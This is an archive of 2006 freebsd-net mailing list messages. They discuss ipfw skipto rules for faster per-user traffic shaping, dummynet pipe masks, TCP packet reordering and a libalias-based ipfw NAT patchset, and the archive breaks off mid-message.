Elischer wrote: >> oops sent to early will resend with full example of binary triage, >> >> Could you clarify how to improve the situation with the tools you >> mentioned? > > > > > Assuming you can not use "tablearg" yet (it will make this REALLY EASY) > then if you have 30 IPs you want to shape from 1.1.1.1 to 1.1.1.30 > then consider: > > > > ipfw add 1000 skipto 2000 ip from any to 1.1.1.16/28 > ipfw add 1010 skipto 1020 ip from any to 1.1.1.8/29 > ipfw add 1012 skipto 1026 ip from any to 1.1.1.4./30 > ipfw add 1013 [anything] ip from any to 1.1.1.1 > ipfw add 1013 [anything] ip from any to 1.1.1.1 > ipfw add 1013 [anything] ip from any to 1.1.1.1 > ipfw add 1013 [anything] ip from any to 1.1.1.1 > > > From owner-freebsd-net@FreeBSD.ORG Tue May 2 03:43:16 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 954C616A406 for ; Tue, 2 May 2006 03:43:16 +0000 (UTC) (envelope-from julian@elischer.org) Received: from a50.ironport.com (a50.ironport.com [63.251.108.112]) by mx1.FreeBSD.org (Postfix) with ESMTP id 43CD043D46 for ; Tue, 2 May 2006 03:43:16 +0000 (GMT) (envelope-from julian@elischer.org) Received: from unknown (HELO [10.251.19.131]) ([10.251.19.131]) by a50.ironport.com with ESMTP; 01 May 2006 20:43:16 -0700 Message-ID: <4456D553.30202@elischer.org> Date: Mon, 01 May 2006 20:43:15 -0700 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060414 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Julian Elischer References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <445038CA.2050008@pacific.net.sg> <4456AD8E.2060703@widesoft.com.br> <4456B415.3080901@elischer.org> <4456BF4A.7050107@widesoft.com.br> <4456D19F.7030101@elischer.org> In-Reply-To: <4456D19F.7030101@elischer.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Lee Johnston , freebsd-net@freebsd.org, mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 03:43:16 -0000 Julian Elischer wrote: > tpeixoto@widesoft.com.br wrote: > >>> That would do it.. >>> >>> In all versions of FreeBSD >>> you can use the skipto rule to make sure that only a few rules are >>> run for any >>> address. Use it to to a binary search for the right pipe.' >>> carefully using 'skipto' and 'table' can make it efficient to do >>> very complex >>> filters like that. >>> >> >> Sorry, but I didn't realized how to use that as we have to shape each >> user individually, i.e., each MAC address on the LAN has its own >> download and upload speeds. >> >> Could you clarify how to improve the situation with the tools you >> mentioned? > > > > > Assuming you can not use "tablearg" yet (it will make this REALLY EASY) > then if you have 30 IPs you want to shape from 1.1.1.1 to 1.1.1.30 then, consider the following example using IP addresses. > > > ipfw add 1000 skipto 2000 ip from any to 1.1.1.16/28 ipfw add 1010 skipto 1020 ip from any to 1.1.1.8/29 ipfw add 1012 skipto 1016 ip from any to 1.1.1.4./30 ipfw add 1013 [anything] ip from any to 1.1.1.1 ipfw add 1014 [anything] ip from any to 1.1.1.2 ipfw add 1015 [anything] ip from any to 1.1.1.3 ipfw add 1021 anything] ip from any to 1.1.1.4 ipfw add 1022 [anything] ip from any to 1.1.1.5 ipfw add 1023 [anything] ip from any to 1.1.1.6 ipfw add 1024 [anything] ip from any to 1.1.1.7 ipfw add 1032 skipto 1051 ip from any to 1.1.1.12./30 ipfw add 1040 [anything] ip from any to 1.1.1.8 ipfw add 1041 [anything] ip from any to 1.1.1.9 ipfw add 1042 [anything] ip from any to 1.1.1.10 ipfw add 1043 [anything] ip from any to 1.1.1.11 ipfw add 1051 [anything] ip from any to 1.1.1.12 ipfw add 1052 [anything] ip from any to 1.1.1.13 ipfw add 1053 [anything] ip from any to 1.1.1.14 ipfw add 1054 [anything] ip from any to 1.1.1.15 ipfw add 1110 skipto 1132 ip from any to 1.1.1.24/29 ipfw add 1112 skipto 1121 ip from any to 1.1.1.20./30 ipfw add 1113 [anything] ip from any to 1.1.1.1 ipfw add 1114 [anything] ip from any to 1.1.1.2 ipfw add 1115 [anything] ip from any to 1.1.1.3 ipfw add 1121 anything] ip from any to 1.1.1.4 ipfw add 1122 [anything] ip from any to 1.1.1.5 ipfw add 1123 [anything] ip from any to 1.1.1.6 ipfw add 1124 [anything] ip from any to 1.1.1.7 ipfw add 1132 skipto 1151 ip from any to 1.1.1.28./30 ipfw add 1140 [anything] ip from any to 1.1.1.8 ipfw add 1141 [anything] ip from any to 1.1.1.9 ipfw add 1142 [anything] ip from any to 1.1.1.10 ipfw add 1143 [anything] ip from any to 1.1.1.11 ipfw add 1151 [anything] ip from any to 1.1.1.12 ipfw add 1152 [anything] ip from any to 1.1.1.13 ipfw add 1153 [anything] ip from any to 1.1.1.14 ipfw add 1154 [anything] ip from any to 1.1.1.15 now this example shows a binary search in IP space, written (including bugs) by hand but if you are willing to write a suitable perl script, you can generate a binary search in MAC address space just as easily. just sort them into order and search.. I'm not going to try it by had, but for 1600 hosts you should only need to go through 15 rules per host on average, instead of 1600 rules per host. that should cut down your ipfw cpu usage by 1/100 > > freebsd.org" From owner-freebsd-net@FreeBSD.ORG Tue May 2 03:48:56 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E11D816A407 for ; Tue, 2 May 2006 03:48:55 +0000 (UTC) (envelope-from julian@elischer.org) Received: from a50.ironport.com (a50.ironport.com [63.251.108.112]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1863D43D46 for ; Tue, 2 May 2006 03:48:51 +0000 (GMT) (envelope-from julian@elischer.org) Received: from unknown (HELO [10.251.19.131]) ([10.251.19.131]) by a50.ironport.com with ESMTP; 01 May 2006 20:48:52 -0700 Message-ID: <4456D6A3.8080503@elischer.org> Date: Mon, 01 May 2006 20:48:51 -0700 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060414 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Julian Elischer References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <445038CA.2050008@pacific.net.sg> <4456AD8E.2060703@widesoft.com.br> <4456B415.3080901@elischer.org> <4456BF4A.7050107@widesoft.com.br> <4456D19F.7030101@elischer.org> <4456D553.30202@elischer.org> In-Reply-To: <4456D553.30202@elischer.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Lee Johnston , freebsd-net@freebsd.org, mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 03:48:56 -0000 oops, forgot to fix my cut-n- pastes.. corrected triage below.. Julian Elischer wrote: > Julian Elischer wrote: > >> tpeixoto@widesoft.com.br wrote: >> >>>> That would do it.. >>>> >>>> In all versions of FreeBSD >>>> you can use the skipto rule to make sure that only a few rules are >>>> run for any >>>> address. Use it to to a binary search for the right pipe.' >>>> carefully using 'skipto' and 'table' can make it efficient to do >>>> very complex >>>> filters like that. >>>> >>> >>> Sorry, but I didn't realized how to use that as we have to shape >>> each user individually, i.e., each MAC address on the LAN has its >>> own download and upload speeds. >>> >>> Could you clarify how to improve the situation with the tools you >>> mentioned? >> >> >> >> >> >> Assuming you can not use "tablearg" yet (it will make this REALLY EASY) >> then if you have 30 IPs you want to shape from 1.1.1.1 to 1.1.1.30 > > > > > then, consider the following example using IP addresses. > >> >> >> > ipfw add 1000 skipto 1110 ip from any to 1.1.1.16/28 > ipfw add 1010 skipto 1032 ip from any to 1.1.1.8/29 > ipfw add 1012 skipto 1021 ip from any to 1.1.1.4./30 > ipfw add 1013 [anything] ip from any to 1.1.1.0 > ipfw add 1014 [anything] ip from any to 1.1.1.1 > ipfw add 1015 [anything] ip from any to 1.1.1.2 > ipfw add 1016 [anything] ip from any to 1.1.1.3 > > > ipfw add 1021 anything] ip from any to 1.1.1.4 > ipfw add 1022 [anything] ip from any to 1.1.1.5 > ipfw add 1023 [anything] ip from any to 1.1.1.6 > ipfw add 1024 [anything] ip from any to 1.1.1.7 > > > ipfw add 1032 skipto 1051 ip from any to 1.1.1.12./30 > > ipfw add 1040 [anything] ip from any to 1.1.1.8 > ipfw add 1041 [anything] ip from any to 1.1.1.9 > ipfw add 1042 [anything] ip from any to 1.1.1.10 > ipfw add 1043 [anything] ip from any to 1.1.1.11 > > > ipfw add 1051 [anything] ip from any to 1.1.1.12 > ipfw add 1052 [anything] ip from any to 1.1.1.13 > ipfw add 1053 [anything] ip from any to 1.1.1.14 > ipfw add 1054 [anything] ip from any to 1.1.1.15 > > > ipfw add 1110 skipto 1132 ip from any to 1.1.1.24/29 > ipfw add 1112 skipto 1121 ip from any to 1.1.1.20./30 > ipfw add 1113 [anything] ip from any to 1.1.1.16 > ipfw add 1114 [anything] ip from any to 1.1.1.17 > ipfw add 1115 [anything] ip from any to 1.1.1.18 > ipfw add 1116 [anything] ip from any to 1.1.1.19 > > > ipfw add 1121 anything] ip from any to 1.1.1.20 > ipfw add 1122 [anything] ip from any to 1.1.1.21 > ipfw add 1123 [anything] ip from any to 1.1.1.22 > ipfw add 1124 [anything] ip from any to 1.1.1.23 > > > ipfw add 1132 skipto 1151 ip from any to 1.1.1.28./30 > > ipfw add 1140 [anything] ip from any to 1.1.1.24 > ipfw add 1141 [anything] ip from any to 1.1.1.25 > ipfw add 1142 [anything] ip from any to 1.1.1.26 > ipfw add 1143 [anything] ip from any to 1.1.1.27 > > > ipfw add 1151 [anything] ip from any to 1.1.1.28 > ipfw add 1152 [anything] ip from any to 1.1.1.29 > ipfw add 1153 [anything] ip from any to 1.1.1.30 > ipfw add 1154 [anything] ip from any to 1.1.1.31 > > > > > > now this example shows a binary search in IP space, written (including > bugs) by hand > but if you are willing to write a suitable perl script, you can > generate a binary search in MAC address space > just as easily. just sort them into order and search.. > > I'm not going to try it by had, but for 1600 hosts you should only > need to go through > 15 rules per host on average, instead of 1600 rules per host. > that should cut down your ipfw cpu usage by 1/100 > > > >> >> freebsd.org" > From owner-freebsd-net@FreeBSD.ORG Tue May 2 04:09:13 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3563B16A400 for ; Tue, 2 May 2006 04:09:13 +0000 (UTC) (envelope-from michael@gargantuan.com) Received: from phoenix.gargantuan.com (srv01.lak.lwxdatacom.net [24.73.171.238]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9AD9843D45 for ; Tue, 2 May 2006 04:09:12 +0000 (GMT) (envelope-from michael@gargantuan.com) Received: by phoenix.gargantuan.com (Postfix, from userid 1001) id 878D33F2; Tue, 2 May 2006 00:09:11 -0400 (EDT) Date: Tue, 2 May 2006 00:09:11 -0400 From: "Michael W. Oliver" To: tpeixoto@widesoft.com.br Message-ID: <20060502040911.GG11342@gargantuan.com> Mail-Followup-To: tpeixoto@widesoft.com.br, ferdinand.goldmann@jku.at, freebsd-net@freebsd.org References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <44506D87.1020808@jku.at> <4456B1E0.9040408@widesoft.com.br> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="w/VI3ydZO+RcZ3Ux" Content-Disposition: inline In-Reply-To: <4456B1E0.9040408@widesoft.com.br> X-WWW-URL: http://michael.gargantuan.com X-GPG-PGP-Public-Key: http://michael.gargantuan.com/gnupg/pubkey.asc X-GPG-PGP-Fingerprint: 2694 0179 AE3F BFAE 0916 0BF5 B16B FBAB C5FA A3C9 X-Home-Phone: +1-863-816-8091 X-Mobile-Phone: +1-863-738-2334 X-Mailing-Address0: 8008 Apache Lane X-Mailing-Address1: Lakeland, FL X-Mailing-Address2: 33810-2172 X-Mailing-Address3: United States of America X-Guide-Questions: http://www.catb.org/~esr/faqs/smart-questions.html X-Guide-Netiquette: http://www.ietf.org/rfc/rfc1855.txt User-Agent: mutt-ng/devel-r774 (FreeBSD) Cc: freebsd-net@freebsd.org, ferdinand.goldmann@jku.at Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 04:09:13 -0000 --w/VI3ydZO+RcZ3Ux Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On 2006-05-01T22:12:00-0300, tpeixoto@widesoft.com.br wrote: > Please, take a look in my previous post. > I guess the problem lies with IPFW and dummynet. > How do you shape your clients? >=20 > Here we have (for each client): >=20 > ipfw pipe 1 config bw 512Kbit/s > ipfw pipe 2 config bw 512Kbit/s > ipfw add pipe 1 ip from any to any mac any 00:11:22:33:44:55 in > ipfw add pipe 2 ip from any to any mac 00:11:22:33:44:55 any out I am no ipfw or dummynet expert, but I read some of your other posts and noticed that you are using 3200 rules and 3200 pipes, and are matching the mac address. Do you have to match the mac, or can you do this by IP address? According to the IPFW man page, if you specify a mask with your pipe configuration, you can match on every bit which would dynamically create the pipes based on the size of the parent pipe. I think it would be something like... ipfw pipe 1 config bw 512kbit/s mask src-ip 0xffffffff ipfw pipe 2 config bw 512kbit/s mask dst-ip 0xffffffff ipfw add pipe 1 ip from any to any in ipfw add pipe 2 ip from any to any out Like I said, I am no expert, but figured I would spew this to the list anyway. --=20 Mike Oliver, KI4OFU [see complete headers for contact information] --w/VI3ydZO+RcZ3Ux Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (FreeBSD) iD8DBQFEVttnsWv7q8X6o8kRAjzlAJ0RH/wEB5jwoHgTvCFUivPhJ91tDQCgu9GJ KkF0fwyrIC0mTEB4A1h+v5k= =27jk -----END PGP SIGNATURE----- --w/VI3ydZO+RcZ3Ux-- From owner-freebsd-net@FreeBSD.ORG Tue May 2 10:07:05 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 656C116A525; Tue, 2 May 2006 10:07:05 +0000 (UTC) (envelope-from b.candler@pobox.com) Received: from proof.pobox.com (proof.pobox.com [207.106.133.28]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3CFD443D76; Tue, 2 May 2006 10:06:57 +0000 (GMT) (envelope-from b.candler@pobox.com) Received: from proof (localhost [127.0.0.1]) by proof.pobox.com (Postfix) with ESMTP id C707920260; Tue, 2 May 2006 06:06:56 -0400 (EDT) Received: from mappit.local.linnet.org (212-74-113-67.static.dsl.as9105.com [212.74.113.67]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by proof.sasl.smtp.pobox.com (Postfix) with ESMTP id 48CD3405FC; Tue, 2 May 2006 06:06:52 -0400 (EDT) Received: from lists by mappit.local.linnet.org with local (Exim 4.61 (FreeBSD)) (envelope-from ) id 1FarmN-0007sc-0v; Tue, 02 May 2006 11:06:51 +0100 Date: Tue, 2 May 2006 11:06:50 +0100 From: Brian Candler To: lukem.freebsd@cse.unsw.edu.au Message-ID: <20060502100650.GB30251@uk.tiscali.com> References: <7bb8f24157080b6aaacb897a99259df9@madhaus.cns.utoronto.ca> <20060427093916.GC84148@obiwan.tataz.chchile.org> <20060427145252.I75848@fledge.watson.org> <20060427143814.GD84148@obiwan.tataz.chchile.org> <20060427154718.J75848@fledge.watson.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i Cc: Marcos Bedinelli , freebsd-net@freebsd.org, Jeremie Le Hen , Robert Watson Subject: Re: [fbsd] Re: [fbsd] Network performance in a dual CPU system X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 10:07:05 -0000 On Mon, May 01, 2006 at 11:38:39AM +1000, lukem.freebsd@cse.unsw.edu.au wrote: > Would it be possible to improve the behaviour of the TCP protocol > implementation so that out-of-order reception was acceptable? Possibly - but if your FreeBSD box is acting as a router, and it re-orders packets in transit to the rest of the Internet, then in principle you'd need to upgrade the TCP implementations on every other device in the Internet :-( From owner-freebsd-net@FreeBSD.ORG Tue May 2 11:16:51 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2256616A40B for ; Tue, 2 May 2006 11:16:51 +0000 (UTC) (envelope-from rwatson@FreeBSD.org) Received: from cyrus.watson.org (cyrus.watson.org [209.31.154.42]) by mx1.FreeBSD.org (Postfix) with ESMTP id 74F5143D48 for ; Tue, 2 May 2006 11:16:50 +0000 (GMT) (envelope-from rwatson@FreeBSD.org) Received: from fledge.watson.org (fledge.watson.org [209.31.154.41]) by cyrus.watson.org (Postfix) with ESMTP id 9064646B87; Tue, 2 May 2006 07:16:49 -0400 (EDT) Date: Tue, 2 May 2006 12:16:49 +0100 (BST) From: Robert Watson X-X-Sender: robert@fledge.watson.org To: Brian Candler In-Reply-To: <20060502100650.GB30251@uk.tiscali.com> Message-ID: <20060502121203.U92256@fledge.watson.org> References: <7bb8f24157080b6aaacb897a99259df9@madhaus.cns.utoronto.ca> <20060427093916.GC84148@obiwan.tataz.chchile.org> <20060427145252.I75848@fledge.watson.org> <20060427143814.GD84148@obiwan.tataz.chchile.org> <20060427154718.J75848@fledge.watson.org> <20060502100650.GB30251@uk.tiscali.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Marcos Bedinelli , freebsd-net@freebsd.org, Jeremie Le Hen , lukem.freebsd@cse.unsw.edu.au Subject: Re: [fbsd] Re: [fbsd] Network performance in a dual CPU system X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 11:16:51 -0000 On Tue, 2 May 2006, Brian Candler wrote: > On Mon, May 01, 2006 at 11:38:39AM +1000, lukem.freebsd@cse.unsw.edu.au wrote: >> Would it be possible to improve the behaviour of the TCP protocol >> implementation so that out-of-order reception was acceptable? > > Possibly - but if your FreeBSD box is acting as a router, and it re-orders > packets in transit to the rest of the Internet, then in principle you'd need > to upgrade the TCP implementations on every other device in the Internet :-( The behavior in question is referred to as a fast retransmit. The basic idea is this: if three datagrams are sent by the remote stack in order, and you receive two datagrams with a clear "missing" middle one, then you can assume that the middle one went missing since network topologies have been carefully crafted to meet TCP's assumptions of ordering. You hint to the remote stack this has happened by ACK'ing the first segment twice. (I may have the details not quite right here, but the effect is the same). Life gets a bit better with SACK. Changing this assumption is very difficult -- it's not a property purely of our implementation, as much as a property of the wire protocol, and written into the standards. Even if we don't play by that rule, other stacks will. In particular, this is an important case when you're routing with FreeBSD -- if you reorder packets in the routing path, end hosts on either side of it will get very upset. In this case, FreeBSD isn't even a direct party to TCP, and so can't change the behavior. This isn't just a property of TCP, many protocols perform badly in the presence of reordering, and so it's really best to avoid it wherever possible, and we go to significant lengths to do so. The trick is to work away at the edges and try to (over time) move towards the minimal ordering constraints. Robert N M Watson From owner-freebsd-net@FreeBSD.ORG Tue May 2 11:38:39 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6AEAB16A419 for ; Tue, 2 May 2006 11:38:39 +0000 (UTC) (envelope-from tbyte@otel.net) Received: from mail.otel.net (gw3.OTEL.net [212.36.8.151]) by mx1.FreeBSD.org (Postfix) with ESMTP id 04A7C43D45 for ; Tue, 2 May 2006 11:38:38 +0000 (GMT) (envelope-from tbyte@otel.net) Received: from dragon.otel.net ([212.36.8.135]) by mail.otel.net with esmtp (Exim 4.60 (FreeBSD)) (envelope-from ) id 1FatDA-000HX0-2P; Tue, 02 May 2006 14:38:36 +0300 From: Iasen Kostov To: Paolo Pisati In-Reply-To: <20060430135702.GA48117@tin.it> References: <20060430135702.GA48117@tin.it> Content-Type: text/plain Date: Tue, 02 May 2006 14:38:35 +0300 Message-Id: <1146569915.79123.9.camel@DraGoN.OTEL.net> Mime-Version: 1.0 X-Mailer: Evolution 2.4.2.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: FreeBSD_Net Subject: Re: [6.x patchset] Ipfw nat and libalias modules X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 11:38:39 -0000 On Sun, 2006-04-30 at 15:57 +0200, Paolo Pisati wrote: > I just released a new revision of my libalias+ipfw work as a > patchset for 6.x, get it here: > http://mercurio.srv.dsi.unimi.it/~pisati/libalias/libalias-6.x.tgz > > To apply it: > > cp libalias_ipfw.patch /usr/src > cd /usr/src > patch -p3 < libalias_ipfw.patch > > then you have to recompile & install: > > kernel, sbin/ipfw, sbin/natd, sbin/ppp, lib/libalias, > sys/modules/ipfw, sys/modules/libalias > > or simply do a world. > > With this patch you get: > > -ipfw nat + redirect + LSNAT support > > -libalias modules (both in user and kernel land) > -for kernel land, all the libalias modules are installed > in /boot/kernel as alias_*.ko. > -for user land (natd & ppp), modules are shared lib > loaded according to /etc/libalias.conf. To reload > modules for a known process, just 'kill -HUP $PID' it. > -natd & ppp are patched to use libalias modules > > If your natd/ppp/ipfw behaves strangely after you applied my > patch (i.e. active ftp stops working), remember to check > libalias modules. > > Some ipfw examples: > > ipfw add nat 666 all from any to any via $IF > > ipfw nat 666 confg ip 192.168.0.1 # nat with a fixed address > > ipfw nat 666 confg if $IF log # dynamic if addr nat and logging > > ipfw nat 666 confg if $IF redir_port ... # redirect support with > ipfw nat 666 confg if $IF redir_addr ... # linkspec natd syntax, > ipfw nat 666 confg if $IF redir_proto ... # LSNAT works too. > > # different ipfw rules can be redirected to use > # the same nat instance > > ipfw add nat 666 all from $IP1 to any via $IF1 > ipfw add nat 666 all from any to any via $IF2 out > ipfw add nat 666 all from $IP2 to $IP3 > > ipfw nat show # see logs > ipfw nat show config # nat configuration > > To load/unload a libalias module (kernel): > > kldload alias_ftp # active ftp work ok now > kldunload alias_ftp > > To load/unload a libalias module (user): > > [edit /etc/libalias.conf and add/cut needed modules] > kill -HUP $PID > > For more info see the readme inside the archive. > > TODO: > Not tested on SMP & !i386, logging ability should be improved(right now > it's the same as original libalias), documentation should be man-pagified, > patchset for 7.x, etcetc > > bye Have you done any performace comparisons with pf's NAT ? I realy would prefer libalias based kernel NAT than pf because libalias works better with ftp, irc dcc and things like that (VoIP would be nice too :P ). So the only reason I've not put it in production is because its to new and untested but as soon as I upgrade mine home to 6.x router I'll test it more extensivly. Btw what is the status of the multi-session to the same point PPTP NAT (e.g call ID tracking) ? From owner-freebsd-net@FreeBSD.ORG Tue May 2 16:04:22 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6A8BE16A419 for ; Tue, 2 May 2006 16:04:22 +0000 (UTC) (envelope-from sullrich@gmail.com) Received: from pproxy.gmail.com (pproxy.gmail.com [64.233.166.180]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9F8C343D45 for ; Tue, 2 May 2006 16:04:18 +0000 (GMT) (envelope-from sullrich@gmail.com) Received: by pproxy.gmail.com with SMTP id t32so3118864pyc for ; Tue, 02 May 2006 09:04:18 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=hSj6uuqIEwQ3LeEmRamj3w4d+dvm77DUqJ5wNAFJOamw/iuArjl6PNEHiVYuePVpmeN93wnDS1OpDuE+yABOj3JME2sjld10Kaubh+MDLFlfX9rmtKQ53VpL/qPOamYQzMinl9wTh2EqWMFN7S7qLk8G0u/j2tb4Kx+4Q+3g/8Y= Received: by 10.35.96.11 with SMTP id y11mr1197614pyl; Tue, 02 May 2006 09:04:18 -0700 (PDT) Received: by 10.35.94.5 with HTTP; Tue, 2 May 2006 09:04:18 -0700 (PDT) Message-ID: Date: Tue, 2 May 2006 12:04:18 -0400 From: "Scott Ullrich" To: "Iasen Kostov" In-Reply-To: <1146569915.79123.9.camel@DraGoN.OTEL.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <20060430135702.GA48117@tin.it> <1146569915.79123.9.camel@DraGoN.OTEL.net> Cc: FreeBSD_Net Subject: Re: [6.x patchset] Ipfw nat and libalias modules X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 16:04:22 -0000 On 5/2/06, Iasen Kostov wrote: [snip] > Btw what is the status of the multi-session to the same > point PPTP NAT (e.g call ID tracking) ? PF's NAT has the same problem. We have this come up quite often on pfSense where someone wants to make multiple connections through the firewall to a target PPTP server. After the first connection PF seems to loose track of the (what your calling ID tracking I suppose) in GRE and then no new connections can be created to that particular PPTP server. Works fine if the second person connects to a different server however. Scott From owner-freebsd-net@FreeBSD.ORG Tue May 2 16:24:29 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2EB9416A459 for ; Tue, 2 May 2006 16:24:29 +0000 (UTC) (envelope-from flag@newluxor.wired.org) Received: from mail.oltrelinux.com (krisma.oltrelinux.com [194.242.226.43]) by mx1.FreeBSD.org (Postfix) with ESMTP id A463943D6E for ; Tue, 2 May 2006 16:24:23 +0000 (GMT) (envelope-from flag@newluxor.wired.org) Received: from newluxor.wired.org (ip-89-202.sn2.eutelia.it [83.211.89.202]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.oltrelinux.com (Postfix) with ESMTP id 7CE7B11AEAF; Tue, 2 May 2006 18:24:16 +0200 (CEST) Received: from newluxor.wired.org (localhost [127.0.0.1]) by newluxor.wired.org (8.13.6/8.13.6) with ESMTP id k42GO6v8003671; Tue, 2 May 2006 18:24:06 +0200 (CEST) (envelope-from flag@newluxor.wired.org) Received: (from flag@localhost) by newluxor.wired.org (8.13.6/8.13.6/Submit) id k42GO6tl003670; Tue, 2 May 2006 18:24:06 +0200 (CEST) (envelope-from flag) Date: Tue, 2 May 2006 18:24:06 +0200 From: Paolo Pisati To: Iasen Kostov Message-ID: <20060502162406.GA3596@tin.it> References: <20060430135702.GA48117@tin.it> <1146569915.79123.9.camel@DraGoN.OTEL.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1146569915.79123.9.camel@DraGoN.OTEL.net> User-Agent: Mutt/1.4.2.1i X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at krisma.oltrelinux.com Cc: FreeBSD_Net Subject: Re: [6.x patchset] Ipfw nat and libalias modules X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 16:24:29 -0000 On Tue, May 02, 2006 at 02:38:35PM +0300, Iasen Kostov wrote: > Have you done any performace comparisons with pf's NAT ? I realy would > prefer libalias based kernel NAT than pf because libalias works 